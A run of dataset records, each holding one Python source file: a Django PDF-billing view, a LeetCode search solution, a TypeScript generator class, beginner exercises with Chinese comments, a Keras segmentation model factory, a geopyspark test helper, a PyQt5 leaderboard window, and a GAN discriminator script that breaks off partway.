'attachment; filename=\"mypdf.pdf\"'\n return response\n return response\n pdb.set_trace()\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"Bills.pdf\"'\n\n buffer = BytesIO()\n\n report = MyPrint(buffer, 'Letter')\n pdf = report.callprt_bills(pbill)\n\n response.write(pbill)\n\n return HttpResponse(\"Billing Complete\")\n\ndef my_fetcher(url):\n pdb.set_trace()\n if url.startswith('/static/'):\n url = url[len('/static/'):]\n url = \"file://\" + '/home/tracy/sund2/member/static/Letterhead2.jpg'\n pdb.set_trace()\n return weasyprint.default_url_fetcher(url)\n\n\ndef html_to_pdf_view(request, year, month, day):\n\n members = Member.objects.all()\n\n\n html_string = render_to_string('print_bill.html', {'colBill': colBill, 'invdate': invdate})\n return render(request,'print_bill.html', {'members': members})\n\n html = weasyprint.HTML(string=html_string, base_url=request.build_absolute_uri())\n\n html.write_pdf(target='/tmp/mypdf.pdf');\n\n fs = FileSystemStorage('/tmp')\n with fs.open('mypdf.pdf') as pdf:\n response = HttpResponse(pdf, content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"mypdf.pdf\"'\n return response\n return response\n\n\ndef print_users(request):\n\n\n # Create the HttpResponse object with the appropriate PDF headers.\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"My Users.pdf\"'\n\n buffer = BytesIO()\n\n report = MyPrint(buffer, 'Letter')\n\n pdf = report.print_users()\n\n response.write(pdf)\n return response\n","sub_path":"member/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"331196096","text":"class Solution:\n def search(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: bool\n \"\"\"\n\n lo = 0\n hi = len(nums) - 1\n while lo <= hi:\n mid = int(lo + hi) // 2\n if nums[mid] == target:\n return True\n # If we know for sure right side is sorted or left side is unsorted\n if nums[mid] < nums[hi] or nums[mid] < nums[lo]:\n if nums[mid] < target <= nums[hi]:\n lo = mid +1\n else:\n hi = mid -1\n # If we know for sure right side is sorted or left side is unsorted\n elif nums[mid] > nums[lo] or nums[mid] > nums[hi]:\n if target < nums[mid] and target >= nums[lo]:\n hi = mid - 1\n else:\n lo = mid +1\n else:\n hi -=1\n return False\n\nif __name__==\"__main__\":\n sol = Solution()\n print(sol.search([1,2,1], 0))\n print(sol.search([2, 5, 6, 0, 0, 1, 2], 0))\n print(sol.search([2, 5, 6, 0, 0, 1, 2], 3))\n","sub_path":"lc_1-100/lc_81.py","file_name":"lc_81.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"287997320","text":"# -----------------------------------------------------------------------------\n# Copyright (c) 2019, Minor Gordon\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n# CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n# OF SUCH DAMAGE.\n# -----------------------------------------------------------------------------\n\nimport os.path\n\nfrom thryft.generator.document import Document\nfrom thryft.generators.ts._ts_named_construct import _TsNamedConstruct\nfrom thryft.util import decamelize\n\n\nclass TsDocument(Document, _TsNamedConstruct):\n def _save_to_dir(self, out_dir_path, **kwds):\n self._parent_generator().ts_out_dir_path = out_dir_path\n return self._save_to_file(out_file_path=self.ts_path(), **kwds)\n\n def _save_to_file(self, out_file_path, **kwds):\n if self._parent_generator().ts_out_dir_path is None:\n self._parent_generator().ts_out_dir_path = os.path.dirname(out_file_path)\n self.__ts_path = out_file_path\n assert out_file_path == self.ts_path(), \"%s vs. %s\" % (\n out_file_path, self.ts_path())\n return self._save_to_file_helper(repr_method=self.ts_repr, out_file_path=out_file_path, **kwds)\n\n def ts_path(self, file_name=None):\n try:\n return self.__ts_path\n except AttributeError:\n pass\n\n if file_name is None:\n if len(self.definitions) > 0:\n file_name = decamelize(self.definitions[0].ts_name())\n else:\n file_name = self.name\n ts_out_dir_path = self._parent_generator().ts_out_dir_path\n assert ts_out_dir_path is not None\n ts_path = \\\n os.path.join(\n ts_out_dir_path,\n self.namespace_by_scope(\n ('ts', '*')).name.replace('.', os.path.sep),\n file_name + '.ts'\n )\n return ts_path\n\n def _ts_imports_definition(self, **kwds):\n imports = []\n for definition in self.definitions:\n imports.extend(definition.ts_imports_definition(**kwds))\n return imports\n\n def ts_repr(self):\n definitions = \\\n \"\\n\\n\".join(definition.ts_repr()\n for definition in self.definitions)\n if len(definitions) == 0:\n return ''\n\n sections = []\n imports = \"\\n\".join(\n sorted(list(set(self.ts_imports_definition(self.ts_path())))))\n if len(imports) > 0:\n sections.append(imports)\n sections.append(definitions)\n return \"\\n\\n\".join(sections) + \"\\n\"\n","sub_path":"compiler/src/thryft/generators/ts/ts_document.py","file_name":"ts_document.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"425098208","text":"# 打印一个边长为n的正方形\nn = 5\nprint('*'*n)\nfor i in ('*'*(n-2)):\n print('*'+' '*(n-2)+'*')\nprint('*'*n)\n\nn = 6\ne = -n//2\nfor i in range(e,n+e):\n if i == e or i == n+e-1:\n print('*'*n)\n else:\n print('*'+' '*(n-2)+'*')\n\nn = 5\nfor i in range(5):\n if i == 0 or i == n-1:\n print('*'*n)\n else:\n print('*'+' '*(n-2)+'*')\n\n# 求100以内所有奇数之和\nsum = 0\nfor i in range(1,100,2):\n sum += i\nprint(sum)\n\n# 求1到5的阶乘之和\nn = 5\nsum = 0\nfor i in range(1,n+1):\n tmp = 1\n for j in range(1,i+1):\n tmp *= j\n sum += tmp\nprint(sum)\n\nnums = 1\nsum = 0\nfor n in range(1,6):\n nums *= n\n sum += nums\nprint(sum)\n\n# 给一个半径，求圆的面积和周长。圆周率3.14\nr = int(input('r='))\nprint('area='+str(3.14*r*r))\nprint('circumference='+str(2*3.14*r))\n\n# 输入两个数，比较大小后，从小到大升序打印\na = input('first:')\nb = input('second:')\nif a > b:\n print(b,a)\nelse:\n print(a,b)\n\nprint(b,a) if a>b else print(a,b)\n# 三目运算\n\n# 获取最大值\nm = int(input('Input first number >>>'))\nwhile True:\n c = input('Input a number >>>')\n if c:\n n = int(c)\n if n > m:\n m = n\n print('Max is',m)\n else:\n break\n\n# 输入n个数，求每次输入后的算数平均数\nn = 0\nsum = 0\nwhile True:\n i = input('>>>')\n if i == 'quit':\n break\n n += 1\n sum += int(i)\n avg = sum/n\n print(avg)\n\n# 九九乘法表\nfor i in range(1,10):\n for j in range(1,10):\n if j <= i:\n print('{}*{}={}'.format(i,j,i*j),end=' ')\n print(\" \")\n\nfor i in range(1,10):\n for j in range(i,10):\n print('{}*{}={}\\t'.format(i,j,i*j),end=' ')\n print(\"\")\n\nfor i in range(1,10):\n for k in range(1,i):\n print(end=\"\\t \")\n for j in range(i,10):\n print('{}*{}={}\\t'.format(i,j,i*j),end=' ')\n print(\" \")\n\nfor i in range(1,10):\n for k in range(1,10-i):\n print(end=\"\\t \")\n for j in range(1,i+1):\n print(\"{}*{}={}\".format(j,i,i*j),end=\"\\t \") \n # \\t放在end=\"\"中好像更容易理解\n# print(\"{}*{}={}\\t\".format(i,j,i*j),end=\" \")\n print(\"\")\n\n# 打印100以内的斐波那契数列及打印第101项\n# 费波那契数列由0和1开始，之后的费波那契系数就是由之前的两数相加而得出。首几个费波那契系数是：\n# 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233……（OEIS中的数列A000045）\n# 特别指出：0不是第一项，而是第零项。\na = 0\nb = 1\nprint(a,end=\",\")\nprint(b,end=\",\")\nfor i in range(1,100):\n c = a + b\n if c > 100:\n break\n print(c,end=\",\")\n# a = b\n# b = c\n a,b = b,c\n # 这一句相当于a = b和b = c两句\n\n# 打印101项斐波那契数\na = 0\nb = 1\n# 手动打印前两项\nprint('{},{}'.format(0, a))\nprint('{},{}'.format(1, b))\nindex = 1\nwhile True:\n c = a + b\n a = b\n b = c\n index += 1\n print('{},{}'.format(index, c))\n # 这里的index就是显示中前面的序号\n if index == 101:\n break\n\n# 打印第101项斐波那契数\na = 0\nb = 1\n# print('{},{}'.format(0,a))\n# print('{},{}'.format(1,b))\nindex = 1\nwhile True:\n c = a + b\n a,b = b,c\n index += 1\n if index == 101:\n print('{},{}'.format(index,c))\n break\n\na = 0\nb = 1\nfor i in range(1,101):\n c = a + b\n a,b = b,c\n if i < 100:\n continue\n print(c)\n\n# 求素数\nn = int(input(\"Please input a prime number >>>\"))\nflag = False\nfor i in range(2,n):\n if n % i == 0:\n flag = True\n print(i)\n break\nif flag:\n print(n,'is not a prime number.')\nelse:\n print(n,'is a prime number.')\n\nn = int(input(\"Please input a prime number >>>\"))\nfor i in range(2,int(n**0.5)):\n if n % i == 0:\n print(n,'is not a prime number.')\n break\nelse:\n print(n,'is a prime number.')\n\n# 求10万内的所有素数\n# 质数（Prime number），又称素数，指在大于1的自然数中，除了1和该数自身外，无法被其他自然数整除的数（也可定义为只有1与该数本身两个正因数的数）。\n# 大于1的自然数若不是素数，则称之为合数（也称为合成数）。\n# 算术基本定理确立了素数于数论里的核心地位：任何大于1的整数均可被表示成一串唯一素数之乘积。\n# 为了确保该定理的唯一性，1被定义为不是素数，因为在因式分解中可以有任意多个1（如3、1×3、1×1×3等都是3的有效约数分解）。\nimport time\nt = [2] # 素数从2开始\nt0 = time.time()\ncount = 1\nfor x in range(3,100001,2):\n if x > 5 and x % 10 == 5:\n continue\n for i in range(3, int(x ** 0.5) + 1, 2):\n if x % i == 0:\n break\n else:\n count += 1\n t.append(x)\nprint(t)\nprint('花费时间：{}'.format(time.time() - t0))\nprint('质数个数：{}'.format(count))\nprint('质数个数：{}'.format(len(t)))\n\n# 打印菱形\nfor i in range(-3,4):\n if i < 0:\n prespace = -i\n else:\n prespace = i\n print(' '*prespace + '*'*(7-prespace*2))\n\nfor i in range(-3,4):\n prespace=-i if i<0 else i\n # 三目运算符方法。这里不能写成prespace=-i if (i < 0) else prespace=i，这样会报语法错误。\n print(' '*prespace+'*'*(7-prespace*2)) \n\n# 打印对顶三角形\nn = 7\ne = n//2\nfor i in range(-e,n-e):\n prespace = -i if i<0 else i\n print(' '*(e-prespace)+'*'*(2*prespace+1))\n\n# 打印闪电\nfor i in range(-3,4):\n if i < 0:\n print(' '*(-i)+'*'*(4+i))\n elif i > 0:\n print(' '*3+'*'*(4-i))\n else:\n print('*'*7)\n\nj = '*'\nfor i in range(-3,4):\n if i == 0:\n print(j*7)\n print(' '*(-i)+j*(i+4)) if i < 0 else print(3*\" \"+j*(3-i))\n\n# 猴子第一天摘下若干个桃子，当即吃了一半，还不过瘾，又多吃了一个。第二天早上又将剩下的桃子吃掉一半，又多吃了一个。以后每天早上都吃了前一天剩下的一半零一个。到了第10天早上想吃时，只剩下一个桃子了。求第一天共摘了多少个桃子。\n# 猴子应该第九天吃完时就已经知道只剩下一个桃子了。\nn = 1\nfor _ in range(1,10):\n n = (n+1)*2\n print(n)\n\n# 改造，如果知道桃子的总量，算每天吃掉的数量\nn = int(input(\">>>\"))\ncount = 0\nwhile True:\n n = n/2-1\n if n <= 1:\n break\n print(n)\n count +=1\nprint('count:',count)\n\n\n# 杨辉三角\n# 方法一.\n# 思路，首先把杨辉三角的前两行先放入大的列表中，之后从列表的第三个元素开始循环，先加入一个开头的1,\n# 就是cur = [1]，再添加中间的部分，用pre是要计算的列表元素的上一个元素，也就是triangle列表中的哪个小的列表。\n# for j in循环来添加中间的部分。最后再加上尾部的1，这样就凑出了杨辉三角的一行，把这一行追加到整个列表中，\n# 整个列表就是杨辉三角\ntriangle=[[1],[1,1]]\nfor i in range(2,6):\n cur = [1]\n pre = triangle[i-1]\n for j in range(len(pre)-1):\n cur.append(pre[j]+pre[j+1])\n cur.append(1)\n triangle.append(cur)\nprint(triangle)\n\n# 先定义一个杨辉三角的空列表，下面进行循环，将计算出的row小列表追加到这个大的列表中。这里需要注意的是，当\n# row列表追加到triangle列表中后，还可以再向这个row小列表中追加数据\ntriangle=[]\nn = 4\nfor i in range(n):\n row = [1]\n triangle.append(row)\n if i == 0: # i是0的时候从这里重新进入循环\n continue\n for j in range(i-1): # i是2时才会进入这里\n row.append(triangle[i-1][j]+triangle[i-1][j+1])\n row.append(1) # i是1时会直接跳转到这里追加1，不会执行上面的循环\nprint(triangle)\n\n# 方法二，while\n# 思路，通过多个小的列表呈现杨辉三角，每个列表打印后换行。先打印出第一行的[1]，之后从第二行开始计算，先把前\n# 一行的数据复制到oldline，如第一次计算第二行时，就先把newline中的[1]复制给oldline，之后清空newline，\n# 再计算后面的部分，用offset与i来控制。\nn = 6\noldline = []\nnewline = [1]\n# length = 0\nprint(newline)\nfor i in range(1,n):\n oldline = newline.copy()\n oldline.append(0)\n newline.clear()\n offset = 0\n while offset <= i:\n newline.append(oldline[offset - 1]+oldline[offset])\n offset += 1\n print(newline)\n\nn = 6\noldline = []\nnewline = [1]\nprint(newline)\nfor i in range(1,n):\n oldline = newline.copy()\n oldline.append(0)\n newline.clear()\n offset = 0\n for j in range(i+1):\n newline.append(oldline[j-1]+oldline[j])\n print(newline)\n\ntriangle = []\nn = 6\nfor i in range(n):\n row = [1]\n for k in range(i):\n row.append(1) if k == i-1 else row.append(0)\n triangle.append(row)\n if i == 0:\n continue\n for j in range(1,i//2+1):\n val = triangle[i-1][j-1] + triangle[i-1][j]\n row[j] = val\n if i != 2*j:\n row[-j-1] = val\nprint(triangle)\n\ntriangle = []\nn = 6\nfor i in range(n):\n row = [1] * (i+1) # i是2时，这里就是[1,1,1]\n triangle.append(row) # 把[1,1,1]追加到triangle列表中\n for j in range(1,i//2+1): # i是2时，这里的j只能是1\n val = triangle[i-1][j-1] + triangle[i-1][j] \n # i是2，triangle[1][0] + triangle[1][1]，也就是[1,1]中的两个1相加就是val，再修改row[1]的值\n # 也就是[1,1,1]中，中间那个1改成了2\n # 当i是3时，这里还是循环一次，row是[1,1,1,1]，j是1，\n row[j] = val\n if i != 2*j:\n row[-j-1] = val\nprint(triangle)\n","sub_path":"20191022Python基础练习.py","file_name":"20191022Python基础练习.py","file_ext":"py","file_size_in_byte":9593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"315317068","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule that acts as a factory to create segmentation models with a common\ninterface, regardless of the underlying implementation.\n\nMany models are supported by using the segmentation model zoo:\nhttps://github.com/qubvel/segmentation_models\n\n\n@author: Pieter Roggemans\n\"\"\"\n\nimport logging\nimport keras as kr\n\n#-------------------------------------------------------------\n# First define/init some general variables/constants\n#-------------------------------------------------------------\n# Get a logger...\nlogger = logging.getLogger(__name__)\n#logger.setLevel(logging.INFO)\n\n#-------------------------------------------------------------\n# The real work\n#-------------------------------------------------------------\n\n'''\npreprocessing_fn = get_preprocessing('resnet34')\nx = preprocessing_fn(x)\n'''\n\ndef get_model(segmentation_model: str = 'linknet',\n backbone_name: str = 'inceptionresnetv2',\n input_width: int = None,\n input_height: int = None,\n n_channels: int = 3,\n n_classes: int = 1,\n init_weights_with: str = 'imagenet'):\n\n if segmentation_model.lower() == 'deeplabv3plus':\n import model_deeplabv3plus as m\n return m.get_model(input_width=input_width, input_height=input_height,\n n_channels=n_channels, n_classes=n_classes,\n init_model_weights=init_weights_with)\n elif segmentation_model.lower() == 'unet':\n # These two unet variants are implemented in a seperate module\n if backbone_name.lower() == 'standard':\n import model_unet_standard as m\n if init_weights_with:\n init_weights = True\n return m.get_model(input_width=input_width, input_height=input_height,\n n_channels=n_channels, n_classes=n_classes,\n init_model_weights=init_weights)\n elif backbone_name.lower() == 'ternaus':\n import model_unet_ternaus as m\n if init_weights_with:\n init_weights = True\n return m.get_model(input_width=input_width, input_height=input_height,\n n_channels=n_channels, n_classes=n_classes,\n init_model_weights=init_weights)\n\n # Some other unet variants is implemented using the segmentation_models library\n from segmentation_models import Unet\n #from segmentation_models.backbones import get_preprocessing\n\n model = Unet(backbone_name=backbone_name,\n input_shape=(input_width, input_height, n_channels),\n classes=n_classes,\n encoder_weights=init_weights_with)\n return model\n elif segmentation_model.lower() == 'pspnet':\n from segmentation_models import PSPNet\n #from segmentation_models.backbones import get_preprocessing\n\n model = PSPNet(backbone_name=backbone_name,\n input_shape=(input_width, input_height, n_channels),\n classes=n_classes,\n encoder_weights=init_weights_with)\n return model\n elif segmentation_model.lower() == 'linknet':\n from segmentation_models import Linknet\n #from segmentation_models.backbones import get_preprocessing\n\n # First check if input size is compatible with linknet \n check_image_size(segmentation_model, input_width, input_height)\n \n model = Linknet(backbone_name=backbone_name,\n input_shape=(input_width, input_height, n_channels),\n classes=n_classes,\n encoder_weights=init_weights_with)\n return model\n else:\n raise Exception(f\"Unknown segmentation_model: {segmentation_model}\")\n\ndef compile_model(model,\n optimizer,\n loss_mode='binary_crossentropy',\n metrics=None):\n\n if loss_mode == \"bcedice\":\n loss_func = dice_coef_loss_bce\n elif loss_mode == \"binary_crossentropy\":\n loss_func = \"binary_crossentropy\"\n else:\n raise Exception(f\"Unknown loss function: {loss_mode}\")\n\n # TODO: implement option to specify metrics...\n model.compile(optimizer=optimizer, loss=loss_func,\n metrics=[jaccard_coef, jaccard_coef_flat,\n jaccard_coef_int, dice_coef, 'accuracy', 'binary_accuracy'])\n\n return model\n\ndef load_model(model_to_use_filepath: str):\n model = kr.models.load_model(model_to_use_filepath,\n custom_objects={'jaccard_coef': jaccard_coef,\n 'jaccard_coef_flat': jaccard_coef_flat,\n 'jaccard_coef_int': jaccard_coef_int,\n 'dice_coef': dice_coef})\n\n return model\n\ndef check_image_size(segmentation_model: str,\n input_width: int, \n input_height: int):\n if segmentation_model.lower() == 'linknet':\n if((input_width and (input_width % 16) != 0) \n or (input_height and (input_height % 16) != 0)):\n message = f\"STOP: input_width ({input_width} and input_height ({input_height}) should be divisable by 16!\"\n logger.error(message)\n raise Exception(message)\n else:\n logger.info(\"check_image_size is not implemented for this model!\")\n \n#------------------------------------------\n# Loss functions\n#------------------------------------------\n\ndef dice_coef_loss(y_true, y_pred):\n return 1 - dice_coef(y_true, y_pred)\n\ndef bootstrapped_crossentropy(y_true, y_pred, bootstrap_type='hard', alpha=0.95):\n target_tensor = y_true\n prediction_tensor = y_pred\n _epsilon = kr.backend.tensorflow_backend._to_tensor(kr.backend.epsilon(), prediction_tensor.dtype.base_dtype)\n prediction_tensor = kr.backend.tf.clip_by_value(prediction_tensor, _epsilon, 1 - _epsilon)\n prediction_tensor = kr.backend.tf.log(prediction_tensor / (1 - prediction_tensor))\n\n if bootstrap_type == 'soft':\n bootstrap_target_tensor = alpha * target_tensor + (1.0 - alpha) * kr.backend.tf.sigmoid(prediction_tensor)\n else:\n bootstrap_target_tensor = alpha * target_tensor + (1.0 - alpha) * kr.backend.tf.cast(\n kr.backend.tf.sigmoid(prediction_tensor) > 0.5, kr.backend.tf.float32)\n return kr.backend.mean(kr.backend.tf.nn.sigmoid_cross_entropy_with_logits(\n labels=bootstrap_target_tensor, logits=prediction_tensor))\n\ndef dice_coef_loss_bce(y_true, y_pred):\n dice = 0.5\n bce = 0.5\n bootstrapping = 'hard'\n alpha = 1.\n return bootstrapped_crossentropy(y_true, y_pred, bootstrapping, alpha) * bce + dice_coef_loss(y_true, y_pred) * dice\n\n#------------------------------------------\n# Metrics functions\n#------------------------------------------\n\nSMOOTH_LOSS = 1e-12\n\ndef jaccard_coef(y_true, y_pred):\n intersection = kr.backend.sum(y_true * y_pred, axis=[0, -1, -2])\n sum_ = kr.backend.sum(y_true + y_pred, axis=[0, -1, -2])\n\n jac = (intersection + SMOOTH_LOSS) / (sum_ - intersection + SMOOTH_LOSS)\n\n return kr.backend.mean(jac)\n\ndef jaccard_coef_int(y_true, y_pred):\n y_pred_pos = kr.backend.round(kr.backend.clip(y_pred, 0, 1))\n\n intersection = kr.backend.sum(y_true * y_pred_pos, axis=[0, -1, -2])\n sum_ = kr.backend.sum(y_true + y_pred_pos, axis=[0, -1, -2])\n jac = (intersection + SMOOTH_LOSS) / (sum_ - intersection + SMOOTH_LOSS)\n return kr.backend.mean(jac)\n\ndef jaccard_coef_flat(y_true, y_pred):\n y_true_f = kr.backend.flatten(y_true)\n y_pred_f = kr.backend.flatten(y_pred)\n intersection = kr.backend.sum(y_true_f * y_pred_f)\n return (intersection + SMOOTH_LOSS) / (kr.backend.sum(y_true_f) + kr.backend.sum(y_pred_f) - intersection + SMOOTH_LOSS)\n\ndef dice_coef(y_true, y_pred, smooth=1.0):\n y_true_f = kr.backend.flatten(y_true)\n y_pred_f = kr.backend.flatten(y_pred)\n intersection = kr.backend.sum(y_true_f * y_pred_f)\n return (2. * intersection + smooth) / (kr.backend.sum(y_true_f) + kr.backend.sum(y_pred_f) + smooth)\n\ndef pct_wrong(y_true, y_pred):\n y_pred_pos = kr.backend.round(kr.backend.clip(y_pred, 0, 1))\n\n intersection = kr.backend.sum(y_true * y_pred_pos, axis=[0, -1, -2])\n sum_ = kr.backend.sum(y_true + y_pred_pos, axis=[0, -1, -2])\n jac = (intersection + SMOOTH_LOSS) / (sum_ - intersection + SMOOTH_LOSS)\n return kr.backend.mean(jac)\n","sub_path":"model_factory.py","file_name":"model_factory.py","file_ext":"py","file_size_in_byte":8542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"159200387","text":"import datetime\n\nimport numpy as np\nfrom geopyspark import geopyspark_conf\nfrom geopyspark.geotrellis import (SpaceTimeKey, Tile, _convert_to_unix_time)\nfrom geopyspark.geotrellis.constants import LayerType\nfrom geopyspark.geotrellis.layer import TiledRasterLayer\nfrom pyspark import SparkContext\n\nfrom openeogeotrellis.configparams import ConfigParams\n\n\nclass TestLayers:\n\n def __init__(self):\n master_str = \"local[*]\"\n\n conf = geopyspark_conf(master=master_str, appName=\"test\")\n conf.set('spark.kryoserializer.buffer.max', value='1G')\n conf.set('spark.ui.enabled', True)\n\n if ConfigParams().is_ci_context:\n conf.set(key='spark.driver.memory', value='2G')\n conf.set(key='spark.executor.memory', value='2G')\n\n\n self.pysc = SparkContext.getOrCreate(conf)\n\n self.first = np.zeros((1, 4, 4))\n self.first.fill(1)\n\n self.second = np.zeros((1, 4, 4))\n self.second.fill(2)\n\n self.extent = {'xmin': 0.0, 'ymin': 0.0, 'xmax': 4.0, 'ymax': 4.0}\n self.layout = {'layoutCols': 1, 'layoutRows': 1, 'tileCols': 4, 'tileRows': 4}\n\n self.now = datetime.datetime.strptime(\"2017-09-25T11:37:00Z\", '%Y-%m-%dT%H:%M:%SZ')\n\n def create_spacetime_layer(self):\n cells = np.array([self.first, self.second], dtype='int')\n tile = Tile.from_numpy_array(cells, -1)\n\n layer = [(SpaceTimeKey(0, 0, self.now), tile),\n (SpaceTimeKey(1, 0, self.now), tile),\n (SpaceTimeKey(0, 1, self.now), tile),\n (SpaceTimeKey(1, 1, self.now), tile)]\n\n rdd = self.pysc.parallelize(layer)\n\n metadata = {'cellType': 'int32ud-1',\n 'extent': self.extent,\n 'crs': '+proj=longlat +datum=WGS84 +no_defs ',\n 'bounds': {\n 'minKey': {'col': 0, 'row': 0, 'instant': _convert_to_unix_time(self.now)},\n 'maxKey': {'col': 1, 'row': 1, 'instant': _convert_to_unix_time(self.now)}\n },\n 'layoutDefinition': {\n 'extent': self.extent,\n 'tileLayout': self.layout\n }\n }\n\n return TiledRasterLayer.from_numpy_rdd(LayerType.SPACETIME, rdd, metadata)\n","sub_path":"openeogeotrellis/testlayers.py","file_name":"testlayers.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"585509756","text":"import sys\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport MainWindow\n\n\n# 通关挑战排行榜\nclass RankWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n palette = QPalette()\n palette.setBrush(QPalette.Background, QBrush(QPixmap('bg.JPG')))\n self.setPalette(palette)\n\n self.setWindowTitle('往次得分')\n self.setWindowModality(Qt.ApplicationModal)\n self.resize(528, 530)\n self.setFixedSize(528, 530)\n self.initUI()\n\n def initUI(self):\n layout = QHBoxLayout()\n # 表格布局\n tablewidget = QTableWidget()\n tablewidget.setRowCount(10)\n tablewidget.setColumnCount(4)\n layout.addWidget(tablewidget)\n tablewidget.setHorizontalHeaderLabels(['排名', '记录日期', '通关数', '总时间(s)'])\n tablewidget.verticalHeader().setVisible(False)\n file = open('rank.txt')\n rank = []\n while True:\n line = file.readline()\n if not line:\n break\n rank.append(line)\n file.close()\n i = 0\n for item in rank:\n item = item.replace('\\n', '')\n list = item.split(' ')\n temp = QTableWidgetItem(str(i + 1))\n temp.setTextAlignment(Qt.AlignCenter)\n tablewidget.setItem(i, 0, temp)\n for j in range(3):\n # 对每一个位置，加入表格布局item\n temp = QTableWidgetItem(list[j])\n temp.setTextAlignment(Qt.AlignCenter)\n tablewidget.setItem(i, j + 1, temp)\n i = i + 1\n # 禁止编辑\n tablewidget.setEditTriggers(QAbstractItemView.NoEditTriggers)\n # 整行选择\n tablewidget.setSelectionBehavior(QAbstractItemView.SelectRows)\n\n toolbar = self.addToolBar('返回')\n new = QAction(QIcon('home.png'), '返回', self)\n toolbar.addAction(new)\n toolbar.actionTriggered.connect(self.back)\n toolbar.setToolButtonStyle(Qt.ToolButtonTextUnderIcon)\n\n mainframe = QWidget()\n mainframe.setLayout(layout)\n self.setCentralWidget(mainframe)\n\n self.setLayout(layout)\n\n\n def closeEvent(self, event):\n reply = QMessageBox.question(self, '退出游戏', '你确定退出游戏吗？', QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n def back(self):\n self.hide()\n self.father = MainWindow.MainWindow()\n self.father.show()\n\n","sub_path":"GUI/RankWindow.py","file_name":"RankWindow.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"234520919","text":"\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# Imports #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\nimport cv2\nimport keras\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nfrom glob import glob\nfrom tensorflow.keras.optimizers import Adam\nfrom keras.models import Sequential, load_model, model_from_yaml\nfrom keras.layers import Conv2D, Dense, MaxPooling2D, Flatten, Reshape, UpSampling2D, SpatialDropout2D\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# CHARGER + PREPARER IMAGE REELLES DATA #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\noptimizer = Adam(lr=0.0002, beta_1=0.5)\n\nimages_vraies =[]\n\nnoms_image = glob(\"dataSet/*\")\n\nfor nom in tqdm(noms_image):\n\timage = cv2.imread(nom, cv2.IMREAD_COLOR)\n\timage = cv2.resize(image, (256,256))\n\timage = image.astype(\"float32\")\t\n\timage = (image-127.5)/127.5\n\timages_vraies.append(image)\n\nimages_vraies = np.array(images_vraies)\n\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# Créer Discriminateur #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\ndiscriminateur = Sequential()\n\ndiscriminateur.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(256,256,3))) #Changer les dimensions de l'image ici\ndiscriminateur.add(MaxPooling2D(pool_size=(2, 2)))\n\ndiscriminateur.add(SpatialDropout2D(0.14))\n\ndiscriminateur.add(Conv2D(32, kernel_size=(3, 3), activation='relu' ))\ndiscriminateur.add(MaxPooling2D(pool_size=(2, 2)))\n\ndiscriminateur.add(SpatialDropout2D(0.14))\n\ndiscriminateur.add(Conv2D(64, 